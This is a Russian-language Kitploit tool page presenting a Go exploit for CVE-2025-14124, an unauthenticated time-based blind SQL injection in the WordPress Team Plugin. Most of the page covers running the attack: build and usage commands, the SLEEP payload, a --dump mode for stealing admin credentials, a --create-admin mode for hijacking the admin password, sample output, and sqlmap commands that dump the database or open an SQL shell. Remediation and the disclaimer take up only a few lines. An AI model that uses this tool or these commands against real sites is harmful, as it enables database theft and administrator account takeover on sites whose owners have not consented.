Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-14124 — Неаутентифицированная SQL-инъекция (слепая на основе времени) | Kitploit
Инструменты/GitHubGitHub/hyunchiya/cve-2025-14124
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubhyunchiya/cve-2025-14124

CVE-2025-14124

Неаутентифицированная SQL-инъекция (слепая на основе времени)

Репозиторий
18 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-14124

WordPress Team Plugin - Неаутентифицированная SQL-инъекция

Автор: Hyun Chiya


Информация об уязвимости

ПолеЗначение
CVE IDCVE-2025-14124
ПлагинWordPress Team Plugin
Затронутые версии< 5.0.11
Тип уязвимостиНеаутентифицированная SQL-инъекция (Time-Based Blind)
СерьезностьВысокая

Описание

Плагин WordPress Team Plugin не обрабатывает должным образом экранирование параметра search перед его использованием в SQL-запросе через AJAX-действие, доступное неаутентифицированным пользователям, что приводит к SQL-инъекции.

Анализ первопричины

Уязвимый код находится в app/Controllers/Frontend/Ajax/LoadMore.php:

root@kitploit:~
// Строка 221 - Пользовательский ввод санирован, но НЕ экранирован для SQL
$sAction = sanitize_text_field( wp_unslash( $_REQUEST['search'] ) );

// Строки 437-438 - УЯЗВИМО: Прямая конкатенация SQL
function tlp_team_search_where( $where ) {
    global $wpdb;
    $term = $wpdb->esc_like( $this->s['s'] );  // ⚠️ esc_like экранирует только %, _, \
    $where .= "OR ({$wpdb->posts}.post_title LIKE '%{$term}%' ...)";  // ⚠️ SQLi!
}

Проблема: $wpdb->esc_like() экранирует только подстановочные знаки LIKE, но НЕ метасимволы SQL-инъекций.

Схема эксплуатации

root@kitploit:~
flowchart TD
    A["Злоумышленник находит страницу с шорткодом [tlpteam]"] --> B["Извлекает tlp_nonce и data-sc-id"]
    B --> C["POST на /wp-admin/admin-ajax.php"]
    C --> D["action=ttp_Layout_Ajax_Action<br/>search=SQL_PAYLOAD"]
    D --> E{"Nonce действителен?"}
    E -->|Да| F["SQL-запрос выполняется с нагрузкой"]
    F --> G["Обнаружение на основе времени через SLEEP()"]
    
    style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
    style G fill:#51cf66,stroke:#2f9e44,color:#fff

Предварительные требования

  1. На цели установлен WordPress Team Plugin (< 5.0.11)
  2. Должна существовать страница с шорткодом [tlpteam]
  3. В плагине создан хотя бы один участник команды

Сборка

root@kitploit:~
go build -o CVE-2025-14124.exe main.go

Использование

Автоопределение страницы команды

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com

Указание URL страницы команды

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com --page-url http://target.com/our-team/

Проверка только плагина

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com --check-only

Пользовательская задержка SLEEP

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com --delay 5

Параметры

АргументОписание
-uURL целевого WordPress (обязательно)
--page-urlURL страницы, содержащей шорткод tlpteam
--delayСекунд SLEEP для обнаружения (по умолчанию: 1)
--dumpИзвлечь информацию о БД и учетные данные администратора WordPress
--create-adminПопытаться перехватить учетную запись администратора (требуются stacked queries)
--admin-userИмя пользователя для перехвата администратора (по умолчанию: pwned_admin)
--admin-passПароль для перехвата администратора (по умолчанию: Pwned123!)
--check-onlyТолько проверить, активен ли плагин
--timeoutТаймаут запроса в секундах (по умолчанию: 120)

Режим извлечения данных (--dump)

При использовании --dump инструмент извлечет:

  • Версию базы данных
  • Имя текущей базы данных
  • Пользователя базы данных
  • Префикс таблиц WordPress
  • Имя администратора
  • Хеш пароля администратора
  • Email администратора

Примечание: Извлечение данных медленное из-за характера time-based blind SQL-инъекции (~5-15 минут для полного извлечения).

Режим перехвата администратора (--create-admin)

Пытается изменить существующий пароль администратора через SQL UPDATE.

⚠️ Важно: Этот режим требует поддержки stacked queries, которая обычно отключена в PHP+MySQL. Если stacked queries не поддерживаются, используйте --dump для извлечения учетных данных или sqlmap --sql-shell для прямого выполнения UPDATE.

Пример вывода

root@kitploit:~
>> [ ONLINE ]    
    ╔═══════════════════════════════════════════════════════════════════════════════════════╗
    ║   CVE-2025-14124 - WordPress Team Plugin SQL Injection                                ║
    ║   Затронутые: tlp-team < 5.0.11                                                         ║
    ║   Автор: Hyun Chiya                                                                  ║
    ╚═══════════════════════════════════════════════════════════════════════════════════════╝

>> [ ИНФОРМАЦИЯ ]

[*] Проверка, активен ли WordPress Team Plugin...
[+] Плагин обнаружен: /wp-content/plugins/tlp-team/readme.txt
[+] Плагин обнаружен!

[*] Поиск страницы с шорткодом tlpteam...
[+] Найдена страница команды: http://target.com/our-team/
[+] Целевая страница: http://target.com/our-team/

[+] Извлечен nonce: abc123def456
[+] Извлечен scID: 42

============================================================
[*] ЭКСПЛУАТАЦИЯ: Time-Based Blind SQL Injection
============================================================

[*] Нагрузка: t' OR SLEEP(3) OR 't'='t
[*] Ожидаемая задержка: ~9 секунд (SLEEP выполняется 3 раза)

[*] Отправка вредоносного запроса...
[*] Время ответа: 9.23 секунды

[+] SQL-ИНЪЕКЦИЯ ПОДТВЕРЖДЕНА!
[+] Задержка ответа ~9 секунд (ожидалось: 9)

[!] Цель уязвима для Time-Based Blind SQL Injection
[!] Базу данных можно извлечь с помощью таких инструментов, как sqlmap

[*] Готово.

Использование с SQLMap

Для продвинутой эксплуатации вы можете использовать sqlmap после подтверждения уязвимости:

root@kitploit:~
# Извлечение базы данных
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
  --data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
  -p search --dbms=mysql --technique=T --batch --dump

# SQL Shell (для UPDATE запросов)
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
  --data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
  -p search --dbms=mysql --technique=T --sql-shell

Исправление

⚠️ ВАЖНО: Обновите WordPress Team Plugin до версии 5.0.11 или новее, где уязвимость исправлена с помощью правильного экранирования SQL с использованием $wpdb->prepare().

Ссылки

  • База данных уязвимостей WPScan

Отказ от ответственности

Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Несанкционированный доступ к компьютерным системам незаконен. Используйте ответственно.

Автор

Hyun Chiya

Скачать инструмент